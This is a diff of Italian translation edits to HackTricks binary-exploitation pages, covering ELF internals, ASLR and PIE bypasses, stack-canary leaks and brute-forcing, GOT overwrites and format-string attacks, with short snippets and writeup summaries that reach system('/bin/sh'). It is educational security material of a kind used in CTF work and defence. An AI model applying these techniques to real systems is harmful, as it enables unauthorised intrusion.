- **Con** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **e** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **e non conoscendo la libc**: Devi:
- Bypassare [**PIE**](../common-binary-protections-and-bypasses/pie/index.html).
- Trovare la **versione di `libc`** utilizzata (leakare un paio di indirizzi di funzione).
- Trovare la **versione di `libc`** utilizzata (leak un paio di indirizzi di funzione).
- Controllare gli **scenari precedenti con ASLR** per continuare.
#### Via EBP/RBP
@ -102,10 +102,10 @@ Qualcosa da tenere in considerazione è che di solito **solo un sfruttamento di
- Utile per **off-by-one** stack overflows.
- Utile come modo alternativo per controllare EIP mentre si abusa di EIP per costruire il payload in memoria e poi saltare a esso tramite EBP.
#### Misc
#### Varie
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Nel caso in cui lo stack contenga puntatori a una funzione che verrà chiamata o a una stringa che verrà utilizzata da una funzione interessante (system o printf), è possibile sovrascrivere quell'indirizzo.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) o [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) potrebbero influenzare gli indirizzi.
- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): Non si sa mai.
- [**Variabili non inizializzate**](../stack-overflow/uninitialized-variables.md): Non si sa mai.
{{#include ../../banners/hacktricks-training.md}}

42
src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md
View File

@ -37,7 +37,7 @@ Segment Sections...
07
08 .init_array .fini_array .dynamic .got
```
Il programma precedente ha **9 intestazioni di programma**, quindi, la **mappatura dei segmenti** indica in quale intestazione di programma (da 00 a 08) **si trova ciascuna sezione**.
Il programma precedente ha **9 intestazioni di programma**, quindi, il **mapping dei segmenti** indica in quale intestazione di programma (da 00 a 08) **si trova ciascuna sezione**.
### PHDR - Program HeaDeR
@ -52,7 +52,7 @@ Indica il percorso del loader da utilizzare per caricare il binario in memoria.
### LOAD
Queste intestazioni vengono utilizzate per indicare **come caricare un binario in memoria.**\
Ogni intestazione **LOAD** indica una regione di **memoria** (dimensione, permessi e allineamento) e indica i byte del **binario ELF da copiare lì**.
Ogni intestazione **LOAD** indica una regione di **memoria** (dimensione, permessi e allineamento) e indica i byte del binario ELF **da copiare lì**.
Ad esempio, la seconda ha una dimensione di 0x1190, dovrebbe trovarsi a 0x1fc48 con permessi di lettura e scrittura e sarà riempita con 0x528 dall'offset 0xfc48 (non riempie tutto lo spazio riservato). Questa memoria conterrà le sezioni `.init_array .fini_array .dynamic .got .data .bss`.
@ -64,7 +64,7 @@ Questa intestazione aiuta a collegare i programmi alle loro dipendenze di librer
Questo memorizza informazioni sui metadati del fornitore riguardo al binario.
- Su x86-64, `readelf -n` mostrerà i flag `GNU_PROPERTY_X86_FEATURE_1_*` all'interno di `.note.gnu.property`. Se vedi `IBT` e/o `SHSTK`, il binario è stato costruito con CET (Indirect Branch Tracking e/o Shadow Stack). Questo impatta ROP/JOP perché i target di branch indiretti devono iniziare con un'istruzione `ENDBR64` e i ritorni vengono controllati contro uno shadow stack. Vedi la pagina CET per dettagli e note di bypass.
- Su x86-64, `readelf -n` mostrerà i flag `GNU_PROPERTY_X86_FEATURE_1_*` all'interno di `.note.gnu.property`. Se vedi `IBT` e/o `SHSTK`, il binario è stato costruito con CET (Indirect Branch Tracking e/o Shadow Stack). Questo impatta ROP/JOP perché i target di branch indiretti devono iniziare con un'istruzione `ENDBR64` e i ritorni vengono controllati rispetto a uno shadow stack. Vedi la pagina CET per dettagli e note di bypass.
{{#ref}}
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
@ -100,7 +100,7 @@ Definisce una tabella di voci TLS, che memorizza informazioni sulle variabili lo
## Intestazioni delle Sezioni
Le intestazioni delle sezioni forniscono una visione più dettagliata del binario ELF.
Le intestazioni delle sezioni forniscono una vista più dettagliata del binario ELF.
```
objdump lnstat -h
@ -161,7 +161,7 @@ CONTENTS, READONLY
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
CONTENTS, READONLY
```
It indica anche la posizione, l'offset, i permessi ma anche il **tipo di dati** che ha la sua sezione.
It indicates anche la posizione, l'offset, i permessi ma anche il **tipo di dati** che ha la sua sezione.
### Sezioni Meta
@ -346,7 +346,7 @@ Offset Info Type Sym. Value Sym. Name + Addend
Se il **programma è caricato in un luogo diverso** dall'indirizzo preferito (di solito 0x400000) perché l'indirizzo è già utilizzato o a causa di **ASLR** o per qualsiasi altro motivo, una relocazione statica **corregge i puntatori** che avevano valori che si aspettavano che il binario fosse caricato nell'indirizzo preferito.
Ad esempio, qualsiasi sezione di tipo `R_AARCH64_RELATIV` dovrebbe avere modificato l'indirizzo al bias di relocazione più il valore additivo.
Ad esempio, qualsiasi sezione di tipo `R_AARCH64_RELATIV` dovrebbe avere modificato l'indirizzo al bias di relocazione più il valore addend.
### Dynamic Relocations and GOT
@ -360,15 +360,15 @@ Quindi, quando un programma chiama malloc, in realtà chiama la posizione corris
#### Modern linking behaviors that impact exploitation
- `-z now` (Full RELRO) disabilita il lazy binding; le voci PLT esistono ancora ma GOT/PLT è mappato in sola lettura, quindi tecniche come **GOT overwrite** e **ret2dlresolve** non funzioneranno contro il binario principale (le librerie possono ancora essere parzialmente RELRO). Vedi:
- `-z now` (Full RELRO) disabilita il lazy binding; le voci PLT esistono ancora ma GOT/PLT è mappato in sola lettura, quindi tecniche come **GOT overwrite** e **ret2dlresolve** non funzioneranno contro il binario principale (le librerie potrebbero comunque essere parzialmente RELRO). Vedi:
{{#ref}}
../common-binary-protections-and-bypasses/relro.md
{{#endref}}
- `-fno-plt` fa sì che il compilatore chiami funzioni esterne attraverso **l'entry GOT direttamente** invece di passare attraverso il PLT stub. Vedrai sequenze di chiamate come `mov reg, [got]; call reg` invece di `call func@plt`. Questo riduce l'abuso di esecuzione speculativa e cambia leggermente la ricerca di gadget ROP attorno agli stub PLT.
- -fno-plt fa sì che il compilatore chiami funzioni esterne attraverso l'**entry GOT direttamente** invece di passare attraverso il PLT stub. Vedrai sequenze di chiamate come mov reg, [got]; call reg invece di call func@plt. Questo riduce l'abuso di esecuzione speculativa e cambia leggermente la ricerca di gadget ROP attorno agli stub PLT.
- PIE vs static-PIE: PIE (ET_DYN con `INTERP`) necessita del loader dinamico e supporta la consueta meccanica PLT/GOT. Static-PIE (ET_DYN senza `INTERP`) ha relocazioni applicate dal loader del kernel e nessun `ld.so`; non aspettarti risoluzione PLT a runtime.
- PIE vs static-PIE: PIE (ET_DYN con INTERP) necessita del loader dinamico e supporta la consueta meccanica PLT/GOT. Static-PIE (ET_DYN senza INTERP) ha relocazioni applicate dal kernel loader e nessun ld.so; aspettati nessuna risoluzione PLT a runtime.
> Se GOT/PLT non è un'opzione, pivotare su altri puntatori di codice scrivibili o utilizzare ROP/SROP classico in libc.
@ -378,7 +378,7 @@ Quindi, quando un programma chiama malloc, in realtà chiama la posizione corris
## Program Initialization
Dopo che il programma è stato caricato, è tempo di eseguirlo. Tuttavia, il primo codice che viene eseguito **non è sempre la funzione `main`**. Questo perché, ad esempio, in C++ se una **variabile globale è un oggetto di una classe**, questo oggetto deve essere **inizializzato** **prima** che venga eseguita main, come in:
Dopo che il programma è stato caricato, è tempo di farlo funzionare. Tuttavia, il primo codice che viene eseguito **non è sempre la funzione `main`**. Questo perché, ad esempio, in C++ se una **variabile globale è un oggetto di una classe**, questo oggetto deve essere **inizializzato** **prima** che main venga eseguito, come in:
```cpp
#include <stdio.h>
// g++ autoinit.cpp -o autoinit
@ -399,7 +399,7 @@ printf("Main\n");
return 0;
}
```
Nota che queste variabili globali si trovano in `.data` o `.bss`, ma nelle liste `__CTOR_LIST__` e `__DTOR_LIST__` gli oggetti da inizializzare e distruggere sono memorizzati in ordine per tenerne traccia.
Nota che queste variabili globali si trovano in `.data` o `.bss`, ma nelle liste `__CTOR_LIST__` e `__DTOR_LIST__` gli oggetti da inizializzare e distruggere sono memorizzati per tenerne traccia.
Dal codice C è possibile ottenere lo stesso risultato utilizzando le estensioni GNU:
```c
@ -408,7 +408,7 @@ __attributte__((destructor)) //Add to the destructor list
```
Dal punto di vista di un compilatore, per eseguire queste azioni prima e dopo l'esecuzione della funzione `main`, è possibile creare una funzione `init` e una funzione `fini` che sarebbero referenziate nella sezione dinamica come **`INIT`** e **`FIN`**. e sono collocate nelle sezioni `init` e `fini` dell'ELF.
L'altra opzione, come menzionato, è referenziare le liste **`__CTOR_LIST__`** e **`__DTOR_LIST__`** nelle voci **`INIT_ARRAY`** e **`FINI_ARRAY`** nella sezione dinamica e la lunghezza di queste è indicata da **`INIT_ARRAYSZ`** e **`FINI_ARRAYSZ`**. Ogni voce è un puntatore a funzione che verrà chiamato senza argomenti.
L'altra opzione, come menzionato, è riferirsi alle liste **`__CTOR_LIST__`** e **`__DTOR_LIST__`** nelle voci **`INIT_ARRAY`** e **`FINI_ARRAY`** nella sezione dinamica e la lunghezza di queste è indicata da **`INIT_ARRAYSZ`** e **`FINI_ARRAYSZ`**. Ogni voce è un puntatore a funzione che verrà chiamato senza argomenti.
Inoltre, è anche possibile avere un **`PREINIT_ARRAY`** con **puntatori** che verranno eseguiti **prima** dei puntatori **`INIT_ARRAY`**.
@ -424,14 +424,14 @@ Inoltre, è anche possibile avere un **`PREINIT_ARRAY`** con **puntatori** che v
### Ordine di Inizializzazione
1. Il programma viene caricato in memoria, le variabili globali statiche vengono inizializzate in **`.data`** e quelle non inizializzate azzerate in **`.bss`**.
1. Il programma viene caricato in memoria, le variabili globali statiche vengono inizializzate in **`.data`** e quelle non inizializzate vengono azzerate in **`.bss`**.
2. Tutte le **dipendenze** per il programma o le librerie vengono **inizializzate** e il **collegamento dinamico** viene eseguito.
3. Le funzioni **`PREINIT_ARRAY`** vengono eseguite.
4. Le funzioni **`INIT_ARRAY`** vengono eseguite.
5. Se c'è un'entrata **`INIT`**, viene chiamata.
6. Se è una libreria, dlopen termina qui, se è un programma, è tempo di chiamare il **punto di ingresso reale** (funzione `main`).
6. Se è una libreria, dlopen termina qui, se è un programma, è il momento di chiamare il **punto di ingresso reale** (funzione `main`).
## Memoria Locale per Thread (TLS)
## Thread-Local Storage (TLS)
Sono definiti utilizzando la parola chiave **`__thread_local`** in C++ o l'estensione GNU **`__thread`**.
@ -439,11 +439,11 @@ Ogni thread manterrà una posizione unica per questa variabile in modo che solo
Quando questo viene utilizzato, le sezioni **`.tdata`** e **`.tbss`** vengono utilizzate nell'ELF. Che sono simili a `.data` (inizializzato) e `.bss` (non inizializzato) ma per TLS.
Ogni variabile avrà un'entrata nell'intestazione TLS che specifica la dimensione e l'offset TLS, che è l'offset che utilizzerà nell'area di dati locale del thread.
Ogni variabile avrà un'entrata nell'intestazione TLS che specifica la dimensione e l'offset TLS, che è l'offset che utilizzerà nell'area di dati locali del thread.
Il `__TLS_MODULE_BASE` è un simbolo utilizzato per riferirsi all'indirizzo base della memoria locale per thread e punta all'area in memoria che contiene tutti i dati locali per thread di un modulo.
Il `__TLS_MODULE_BASE` è un simbolo utilizzato per riferirsi all'indirizzo base della memoria locale del thread e punta all'area in memoria che contiene tutti i dati locali del thread di un modulo.
## Vettore Ausiliario (auxv) e vDSO
## Auxiliary Vector (auxv) e vDSO
Il kernel Linux passa un vettore ausiliario ai processi contenente indirizzi e flag utili per il runtime:
@ -451,7 +451,7 @@ Il kernel Linux passa un vettore ausiliario ai processi contenente indirizzi e f
- `AT_SYSINFO_EHDR`: indirizzo base della mappatura vDSO (utile per trovare syscalls e gadget `__kernel_*`).
- `AT_EXECFN`, `AT_BASE`, `AT_PAGESZ`, ecc.
Come attaccante, se puoi leggere la memoria o i file sotto `/proc`, puoi spesso rivelare questi senza un infoleak nel processo target:
Come attaccante, se puoi leggere la memoria o i file sotto `/proc`, puoi spesso rivelare questi senza una infoleak nel processo target:
```bash
# Show the auxv of a running process
cat /proc/$(pidof target)/auxv | xxd
@ -468,6 +468,6 @@ Leaking `AT_RANDOM` ti dà il valore del canary se riesci a dereferenziare quel
## References
- ld.so(8) – Ordine di ricerca del Dynamic Loader, RPATH/RUNPATH, regole di esecuzione sicura (AT_SECURE): https://man7.org/linux/man-pages/man8/ld.so.8.html
- getauxval(3) – Vettore ausiliario e costanti AT_*: https://man7.org/linux/man-pages/man3/getauxval.3.html
- ld.so(8) – Dynamic Loader search order, RPATH/RUNPATH, secure-execution rules (AT_SECURE): https://man7.org/linux/man-pages/man8/ld.so.8.html
- getauxval(3) – Auxiliary vector and AT_* constants: https://man7.org/linux/man-pages/man3/getauxval.3.html
{{#include ../../banners/hacktricks-training.md}}

16
src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md
View File

@ -11,7 +11,7 @@
Per **controllare** lo stato di ASLR su un sistema Linux, puoi leggere il valore dal file **`/proc/sys/kernel/randomize_va_space`**. Il valore memorizzato in questo file determina il tipo di ASLR applicato:
- **0**: Nessuna randomizzazione. Tutto è statico.
- **1**: Randomizzazione conservativa. Le librerie condivise, lo stack, mmap(), la pagina VDSO sono randomizzate.
- **1**: Randomizzazione conservativa. Le librerie condivise, lo stack, mmap(), la pagina VDSO sono randomizzati.
- **2**: Randomizzazione completa. Oltre agli elementi randomizzati dalla randomizzazione conservativa, la memoria gestita tramite `brk()` è randomizzata.
Puoi controllare lo stato di ASLR con il seguente comando:
@ -35,7 +35,7 @@ Per **abilitare** ASLR, puoi scrivere un valore di **2** nel file `/proc/sys/ker
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
### **Persistenza tra i Riavvii**
### **Persistenza Attraverso i Riavvii**
Le modifiche apportate con i comandi `echo` sono temporanee e verranno ripristinate al riavvio. Per rendere la modifica persistente, è necessario modificare il file `/etc/sysctl.conf` e aggiungere o modificare la seguente riga:
```tsconfig
@ -47,7 +47,7 @@ Dopo aver modificato `/etc/sysctl.conf`, applica le modifiche con:
```bash
sudo sysctl -p
```
Questo garantirà che le impostazioni ASLR rimangano attive tra i riavvii.
Questo garantirà che le impostazioni ASLR rimangano attive dopo i riavvii.
## **Bypasses**
@ -64,7 +64,7 @@ I dati precedenti sono per sistemi a 32 bit e l'entropia finale ridotta rende po
#### Idee di brute-force:
- Se hai un overflow abbastanza grande da ospitare un **grande NOP sled prima del shellcode**, potresti semplicemente forzare gli indirizzi nello stack fino a quando il flusso **salta oltre una parte del NOP sled**.
- Un'altra opzione per questo, nel caso in cui l'overflow non sia così grande e l'exploit possa essere eseguito localmente, è possibile **aggiungere il NOP sled e il shellcode in una variabile d'ambiente**.
- Un'altra opzione per questo, nel caso in cui l'overflow non sia così grande e l'exploit possa essere eseguito localmente, è possibile **aggiungere il NOP sled e lo shellcode in una variabile d'ambiente**.
- Se l'exploit è locale, puoi provare a forzare l'indirizzo base di libc (utile per sistemi a 32 bit):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
@ -72,7 +72,7 @@ for off in range(0xb7000000, 0xb8000000, 0x1000):
- Se attacchi un server remoto, potresti provare a **forzare l'indirizzo della funzione `usleep` di `libc`**, passando come argomento 10 (ad esempio). Se a un certo punto il **server impiega 10 secondi in più per rispondere**, hai trovato l'indirizzo di questa funzione.
> [!TIP]
> Nei sistemi a 64 bit l'entropia è molto più alta e questo non dovrebbe essere possibile.
> Nei sistemi a 64 bit, l'entropia è molto più alta e questo non dovrebbe essere possibile.
### Forzatura dello stack a 64 bit
@ -145,7 +145,7 @@ pass
### Informazioni Locali (`/proc/[pid]/stat`)
Il file **`/proc/[pid]/stat`** di un processo è sempre leggibile da chiunque e **contiene informazioni interessanti** come:
Il file **`/proc/[pid]/stat`** di un processo è sempre leggibile da tutti e **contiene informazioni interessanti** come:
- **startcode** & **endcode**: Indirizzi sopra e sotto con il **TESTO** del binario
- **startstack**: L'indirizzo dell'inizio dello **stack**
@ -192,6 +192,7 @@ p.interactive()
Abusando di un buffer overflow sarebbe possibile sfruttare un **ret2plt** per esfiltrare un indirizzo di una funzione dalla libc. Controlla:
{{#ref}}
ret2plt.md
{{#endref}}
@ -225,7 +226,7 @@ ret2ret.md
### vsyscall
Il meccanismo **`vsyscall`** serve a migliorare le prestazioni consentendo a determinate chiamate di sistema di essere eseguite nello spazio utente, anche se fanno parte fondamentalmente del kernel. Il vantaggio critico delle **vsyscalls** risiede nei loro **indirizzi fissi**, che non sono soggetti a **ASLR** (Randomizzazione del Layout dello Spazio degli Indirizzi). Questa natura fissa significa che gli attaccanti non richiedono una vulnerabilità di leak informativo per determinare i loro indirizzi e usarli in un exploit.\
Il meccanismo **`vsyscall`** serve a migliorare le prestazioni consentendo a determinate chiamate di sistema di essere eseguite nello spazio utente, anche se fanno parte fondamentalmente del kernel. Il vantaggio critico delle **vsyscalls** risiede nei loro **indirizzi fissi**, che non sono soggetti a **ASLR** (Address Space Layout Randomization). Questa natura fissa significa che gli attaccanti non richiedono una vulnerabilità di leak informativo per determinare i loro indirizzi e usarli in un exploit.\
Tuttavia, non si troveranno gadget super interessanti qui (anche se, ad esempio, è possibile ottenere un equivalente di `ret;`)
(L'esempio e il codice seguenti sono [**da questo writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
@ -275,6 +276,7 @@ gef➤ x/4i 0xffffffffff600800
Nota quindi come potrebbe essere possibile **bypassare ASLR abusando del vdso** se il kernel è compilato con CONFIG_COMPAT_VDSO poiché l'indirizzo vdso non sarà randomizzato. Per ulteriori informazioni controlla:
{{#ref}}
../../rop-return-oriented-programing/ret2vdso.md
{{#endref}}

7
src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md
View File

@ -6,7 +6,7 @@
Un binario compilato come PIE, o **Position Independent Executable**, significa che il **programma può essere caricato in diverse posizioni di memoria** ogni volta che viene eseguito, prevenendo indirizzi hardcoded.
Il trucco per sfruttare questi binari sta nello sfruttare gli **indirizzi relativi**: gli offset tra le parti del programma rimangono gli stessi anche se le posizioni assolute cambiano. Per **bypassare PIE, è necessario solo leakare un indirizzo**, tipicamente dallo **stack** utilizzando vulnerabilità come attacchi di formato stringa. Una volta ottenuto un indirizzo, puoi calcolare altri in base ai loro **offset fissi**.
Il trucco per sfruttare questi binari sta nello sfruttare gli **indirizzi relativi**: gli offset tra le parti del programma rimangono gli stessi anche se le posizioni assolute cambiano. Per **bypassare PIE, è necessario solo leakare un indirizzo**, tipicamente dallo **stack** utilizzando vulnerabilità come gli attacchi di formato stringa. Una volta ottenuto un indirizzo, puoi calcolare altri in base ai loro **offset fissi**.
Un suggerimento utile per sfruttare i binari PIE è che il loro **indirizzo base di solito termina in 000** a causa delle pagine di memoria che sono le unità di randomizzazione, dimensionate a 0x1000 byte. Questo allineamento può essere un **controllo critico se un exploit non funziona** come previsto, indicando se l'indirizzo base corretto è stato identificato.\
Oppure puoi usare questo per il tuo exploit, se leak che un indirizzo si trova a **`0x649e1024`** sai che l'**indirizzo base è `0x649e1000`** e da lì puoi semplicemente **calcolare gli offset** delle funzioni e delle posizioni.
@ -15,10 +15,11 @@ Oppure puoi usare questo per il tuo exploit, se leak che un indirizzo si trova a
Per bypassare PIE è necessario **leakare un indirizzo del binario caricato**, ci sono alcune opzioni per questo:
- **ASLR disabilitato**: Se ASLR è disabilitato, un binario compilato con PIE viene sempre **caricato nello stesso indirizzo**, quindi **PIE sarà inutile** poiché gli indirizzi degli oggetti saranno sempre nello stesso posto.
- Essere **forniti** del leak (comune in sfide CTF facili, [**controlla questo esempio**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
- **ASLR disabilitato**: Se ASLR è disabilitato, un binario compilato con PIE è sempre **caricato nello stesso indirizzo**, quindi **PIE sarà inutile** poiché gli indirizzi degli oggetti saranno sempre nello stesso posto.
- Essere **forniti** del leak (comune nelle sfide CTF facili, [**controlla questo esempio**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
- **Brute-force dei valori EBP ed EIP** nello stack fino a leakare quelli corretti:
{{#ref}}
bypassing-canary-and-pie.md
{{#endref}}

25
src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md
View File

@ -16,22 +16,23 @@ Il **canary** è un numero casuale derivato da `/dev/urandom` o un valore predef
Questa protezione locale identifica le funzioni con buffer vulnerabili ad attacchi e inietta codice all'inizio di queste funzioni per posizionare il canary, e alla fine per verificarne l'integrità.
Quando un server web utilizza `fork()`, consente un attacco di forza bruta per indovinare il byte del canary byte per byte. Tuttavia, utilizzare `execve()` dopo `fork()` sovrascrive lo spazio di memoria, annullando l'attacco. `vfork()` consente al processo figlio di eseguire senza duplicazione fino a quando non tenta di scrivere, momento in cui viene creata una duplicazione, offrendo un approccio diverso alla creazione di processi e alla gestione della memoria.
Quando un server web utilizza `fork()`, consente un attacco di forza bruta per indovinare il byte del canary uno alla volta. Tuttavia, utilizzare `execve()` dopo `fork()` sovrascrive lo spazio di memoria, annullando l'attacco. `vfork()` consente al processo figlio di eseguire senza duplicazione fino a quando non tenta di scrivere, momento in cui viene creata una copia, offrendo un approccio diverso alla creazione di processi e alla gestione della memoria.
### Lunghezze
Nei binari `x64`, il cookie del canary è un **`0x8`** byte qword. I **primi sette byte sono casuali** e l'ultimo byte è un **byte nullo.**
Nei binari `x64`, il cookie del canary è un **`0x8`** byte qword. I **primi sette byte sono casuali** e l'ultimo byte è un **null byte.**
Nei binari `x86`, il cookie del canary è un **`0x4`** byte dword. I **primi tre byte sono casuali** e l'ultimo byte è un **byte nullo.**
Nei binari `x86`, il cookie del canary è un **`0x4`** byte dword. I **primi tre byte sono casuali** e l'ultimo byte è un **null byte.**
> [!CAUTION]
> Il byte meno significativo di entrambi i canary è un byte nullo perché sarà il primo nello stack proveniente da indirizzi più bassi e quindi **le funzioni che leggono stringhe si fermeranno prima di leggerlo**.
> Il byte meno significativo di entrambi i canaries è un null byte perché sarà il primo nello stack proveniente da indirizzi più bassi e quindi **le funzioni che leggono stringhe si fermeranno prima di leggerlo**.
## Bypass
**Fuggire il canary** e poi sovrascriverlo (ad es. buffer overflow) con il proprio valore.
- Se il **canary è forkato nei processi figli** potrebbe essere possibile **brute-forzarlo** un byte alla volta:
- Se il **canary è forkato nei processi figli** potrebbe essere possibile **bruteforzarne** uno byte alla volta:
{{#ref}}
bf-forked-stack-canaries.md
@ -39,13 +40,15 @@ bf-forked-stack-canaries.md
- Se c'è qualche interessante **fuga o vulnerabilità di lettura arbitraria** nel binario potrebbe essere possibile fugare:
{{#ref}}
print-stack-canary.md
{{#endref}}
- **Sovrascrivere i puntatori memorizzati nello stack**
Lo stack vulnerabile a un overflow dello stack potrebbe **contenere indirizzi a stringhe o funzioni che possono essere sovrascritti** per sfruttare la vulnerabilità senza dover raggiungere il canary dello stack. Controlla:
Lo stack vulnerabile a un overflow potrebbe **contenere indirizzi a stringhe o funzioni che possono essere sovrascritti** per sfruttare la vulnerabilità senza dover raggiungere il canary dello stack. Controlla:
{{#ref}}
../../stack-overflow/pointer-redirecting.md
@ -53,19 +56,19 @@ Lo stack vulnerabile a un overflow dello stack potrebbe **contenere indirizzi a
- **Modificare sia il canary master che quello del thread**
Un buffer **overflow in una funzione thread** protetta con canary può essere utilizzato per **modificare il canary master del thread**. Di conseguenza, la mitigazione è inutile perché il controllo viene effettuato con due canary che sono gli stessi (anche se modificati).
Un buffer **overflow in una funzione thread** protetta con canary può essere utilizzato per **modificare il canary master del thread**. Di conseguenza, la mitigazione è inutile perché il controllo viene effettuato con due canaries che sono gli stessi (anche se modificati).
Inoltre, un buffer **overflow in una funzione thread** protetta con canary potrebbe essere utilizzato per **modificare il canary master memorizzato nel TLS**. Questo perché, potrebbe essere possibile raggiungere la posizione di memoria in cui è memorizzato il TLS (e quindi, il canary) tramite un **bof nello stack** di un thread.\
Di conseguenza, la mitigazione è inutile perché il controllo viene effettuato con due canary che sono gli stessi (anche se modificati).\
Questo attacco è descritto nel writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Di conseguenza, la mitigazione è inutile perché il controllo viene effettuato con due canaries che sono gli stessi (anche se modificati).\
Questo attacco è eseguito nella scrittura: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Controlla anche la presentazione di [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) che menziona che di solito il **TLS** è memorizzato da **`mmap`** e quando viene creato uno **stack** di **thread** viene generato anch'esso da `mmap`, il che potrebbe consentire l'overflow come mostrato nel precedente writeup.
Controlla anche la presentazione di [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) che menziona che di solito il **TLS** è memorizzato da **`mmap`** e quando uno **stack** di **thread** viene creato è anch'esso generato da `mmap`, il che potrebbe consentire l'overflow come mostrato nella scrittura precedente.
- **Modificare l'entry GOT di `__stack_chk_fail`**
Se il binario ha Partial RELRO, allora puoi utilizzare una scrittura arbitraria per modificare l'**entry GOT di `__stack_chk_fail`** per essere una funzione fittizia che non blocca il programma se il canary viene modificato.
Questo attacco è descritto nel writeup: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
Questo attacco è eseguito nella scrittura: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
## Riferimenti

4
src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
View File

@ -17,11 +17,11 @@ Ovviamente, questa tattica è molto **ristretta** poiché l'attaccante deve esse
- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR abilitato ma senza PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e esfiltrarlo. Con il canary viene creato un gadget ROP per chiamare puts per esfiltrare l'indirizzo di puts dal GOT e un gadget ROP per chiamare `system('/bin/sh')`
- [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html)
- 32 bit, ARM, senza relro, canary, nx, senza pie. Overflow con una chiamata a puts su di esso per esfiltrare il canary + ret2lib chiamando `system` con una catena ROP per pop r0 (arg `/bin/sh`) e pc (indirizzo di system)
- 32 bit, ARM, senza relro, canary, nx, senza pie. Overflow con una chiamata a puts su di esso per esfiltrare il canary + ret2lib chiamando `system` con una catena ROP per poppare r0 (arg `/bin/sh`) e pc (indirizzo di system)
## Lettura Arbitraria
Con una **lettura arbitraria** come quella fornita da **stringhe di formato**, potrebbe essere possibile esfiltrare il canary. Controlla questo esempio: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) e puoi leggere di come abusare delle stringhe di formato per leggere indirizzi di memoria arbitrari in:
Con una **lettura arbitraria** come quella fornita da **stringhe di formato** potrebbe essere possibile esfiltrare il canary. Controlla questo esempio: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) e puoi leggere di come abusare delle stringhe di formato per leggere indirizzi di memoria arbitrari in:
{{#ref}}
../../format-strings/

42
src/binary-exploitation/format-strings/README.md
View File

@ -3,15 +3,15 @@
{{#include ../../banners/hacktricks-training.md}}
## Informazioni di Base
## Basic Information
In C **`printf`** è una funzione che può essere utilizzata per **stampare** una stringa. Il **primo parametro** che questa funzione si aspetta è il **testo grezzo con i formattatori**. I **parametri successivi** attesi sono i **valori** da **sostituire** ai **formattatori** nel testo grezzo.
In C **`printf`** è una funzione che può essere utilizzata per **stampare** una stringa. Il **primo parametro** che questa funzione si aspetta è il **testo grezzo con i formattatori**. I **parametri seguenti** attesi sono i **valori** da **sostituire** ai **formattatori** nel testo grezzo.
Altre funzioni vulnerabili sono **`sprintf()`** e **`fprintf()`**.
La vulnerabilità appare quando un **testo dell'attaccante viene utilizzato come primo argomento** per questa funzione. L'attaccante sarà in grado di creare un **input speciale che sfrutta** le capacità della **stringa di formato printf** per leggere e **scrivere qualsiasi dato in qualsiasi indirizzo (leggibile/scrivibile)**. Essere in grado in questo modo di **eseguire codice arbitrario**.
#### Formattatori:
#### Formatters:
```bash
%08x —> 8 hex bytes
%d —> Entire
@ -35,7 +35,7 @@ printf(buffer); // If buffer contains "%x", it reads from the stack.
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
- Con Argomenti Mancanti:
- Con argomenti mancanti:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
@ -54,7 +54,7 @@ return 0;
```
### **Accessing Pointers**
Il formato **`%<n>$x`**, dove `n` è un numero, consente di indicare a printf di selezionare il n-esimo parametro (dallo stack). Quindi, se vuoi leggere il 4° parametro dallo stack usando printf, puoi fare:
Il formato **`%<n>$x`**, dove `n` è un numero, consente di indicare a printf di selezionare il n-esimo parametro (dallo stack). Quindi, se vuoi leggere il 4° parametro dallo stack usando printf, potresti fare:
```c
printf("%x %x %x %x")
```
@ -66,10 +66,10 @@ printf("%4$x")
```
e leggere direttamente il quarto.
Nota che l'attaccante controlla il `printf` **parametro, il che significa fondamentalmente che** il suo input sarà nello stack quando viene chiamato `printf`, il che significa che potrebbe scrivere indirizzi di memoria specifici nello stack.
